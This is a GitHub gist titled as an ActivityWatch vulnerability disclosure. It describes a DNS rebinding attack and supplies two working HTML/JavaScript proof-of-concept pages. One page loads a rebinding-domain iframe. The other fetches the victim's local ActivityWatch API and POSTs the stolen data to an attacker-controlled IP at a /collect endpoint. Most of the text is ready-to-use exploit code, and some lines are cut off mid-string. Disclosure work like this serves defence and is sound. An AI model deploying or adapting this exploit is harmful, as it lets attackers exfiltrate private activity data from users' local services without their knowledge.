zozs / README.md Secret

Last active 15 months ago

ActivityWatch disclosure

README.md

Attack flow

1. Victim visits `http://140.238.208.152:8081/awbuckets` because it looks like a cool blog or smth.
2. The script on `awbuckets.html` will dynamically load an iframe from the domain `A.140.238.208.152.1time.127.0.0.1.forever.randomPart.rebind.cryptosec.se` on port 5600.
3. The first time the browser does a DNS record for this domain, it will see the result `140.238.208.152`, and thus it will fetch the page `140.238.208.152:5600/exporter-buckets.html`.
4. The `exporter-buckets.html` page contains a JavaScript that does a `fetch()` for `/api/0/buckets/`, i.e. the same domain as it already is on. **Naturally, the browser believes this is the same origin**.
5. The domain `A.140.238.208.152.1time.127.0.0.1.forever.randomPart.rebind.cryptosec.se` has a short TTL (1 second). It has now expired. The browser does a new DNS request for the same domain.
6. The whonow DNS server now returns 127.0.0.1 as the IP of the domain, since it is the second time it gets a request. **The browser still consider this the same origin, since the domain is the same, even though the IP differs**
7. The browser happily accepts the result, and will now request `127.0.0.1/api/0/export`.
8. The attack scripts stores the result, and uploads it to some attacker controlled server.
9. Success!

awbuckets.html

```
<html>
    <head>
        <meta charset="utf-8">
        <meta name="referrer" content="unsafe-url">
        <title>activitywatch dnsrebind</title>
    </head>

    <body>
    <h1>sneaky little script</h1>

    <p>
      You should see something like "attack in progress" below, otherwise something went wrong :(
    </p>

    <script>
        // Dynamically create an iframe with a dns-rebinding url and a unique uuid so we can repea
        function getRandomInt (min, max) {
          min = Math.ceil(min)
          max = Math.floor(max)
          return Math.floor(Math.random() * (max - min) + min)
        }

        const randomPart = `awa-${getRandomInt(1000, 1000000000)}`
        const randomRebindUrl = `A.140.238.208.152.1time.127.0.0.1.forever.${randomPart}.rebind.cr
        // less elegant solution below.
        // it only works 50% of the time (the first rebind must happen to be non-localhost)
        // const randomRebindUrl = `7f000001.8ceed098.rbndr.us`

        const ifrm = document.createElement("iframe")
        ifrm.setAttribute("src", `http://${randomRebindUrl}:5600/exporter-buckets.html`)
        ifrm.style.width = "640px"
        ifrm.style.height = "480px"
        document.body.appendChild(ifrm)
    </script>
    </body>
</html>
```

exporter-buckets.html

```
<html>
    <head>
        <meta charset="utf-8">
        <meta name="referrer" content="unsafe-url">
        <title>activitywatch dnsrebind</title>
```

```
    </head>

    <body>
    <h1>attack in progress</h1>
    <p id="status">please wait while we export your activitywatch bucket names, this may take some

    <script>
        function sleep (ms) {
          return new Promise(resolve => setTimeout(resolve, ms))
        }

        async function attack () {
          while (true) {
            try {
              const url = '/api/0/buckets/' // export all bucket names
              const response = await fetch(url, {
                  method: 'GET',
                  mode: 'no-cors',
                  cache: 'no-cache',
                  referrerPolicy: 'unsafe-url',
              })

              if (response.ok) {
                // we got a response, now post it to some shady site.
                const shadySite = 'http://140.238.208.152:8081'
                const data = await response.json()
                console.log('got activitywatch data:', data)
                // now send it as plaintext (to avoid cors preflight stuff)
                const collectUrl = `${shadySite}/collect`
                await fetch(collectUrl, {
                    method: 'POST',
                    mode: 'no-cors',
                    cache: 'no-cache',
                    headers: {
                        'Content-Type': 'text/plain'
                    },
                    referrerPolicy: 'unsafe-url',
                    body: JSON.stringify(data)
                })
                const elem = document.getElementById('status')
                elem.innerText = `attack finished, thanks for waiting! for your convenience, you c
                return
              }
            } catch (e) {
              console.error(`failed attack, but will try again automatically, may need up to a min
            }
            await sleep(1000)
          }
        }
```

```
55
56          attack().then(res => console.log('attack seemed to work')).catch(e => console.error(`did n
57      </script>
58      </body>
59  </html>
```